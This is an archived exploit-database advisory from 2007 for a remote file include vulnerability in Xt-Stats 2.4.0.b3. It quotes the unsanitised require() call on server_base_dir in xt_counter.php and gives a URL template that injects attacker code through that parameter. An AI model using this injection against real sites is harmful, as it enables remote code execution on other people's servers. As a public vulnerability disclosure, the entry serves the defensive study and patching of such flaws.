Xt-Stats v.2.4.0.b3 (server_base_dir) Remote File Include Vulnerability
| EDB-ID: 3209 | CVE: 2007-0576 | OSVDB-ID: 32980 |
| Author: ThE dE@Th | Published: 2007-01-27 | Verified:  |
Exploit Code:  |
Vulnerable App: N/A |
Rating |
| EDB-ID: 3209 | CVE: 2007-0576 | OSVDB-ID: 32980 |
| Author: ThE dE@Th | Published: 2007-01-27 | Verified: |
| Exploit Code: |
Vulnerable App: N/A |
Rating |
Download:http://www.xt-scripts.com/index.php?dl=32 ************************************************** Finded by ThE dE@Th ******************* Greetz For :AsB-May Team & HaCk.eGy *********************************** xt_counter.php: ************* require( $server_base_dir.'management/sources/counter_class.php'); http://www.site.com/[path]/xt_counter.php?server_base_dir=[evil_code] ************************************************************* # milw0rm.com [2007-01-27]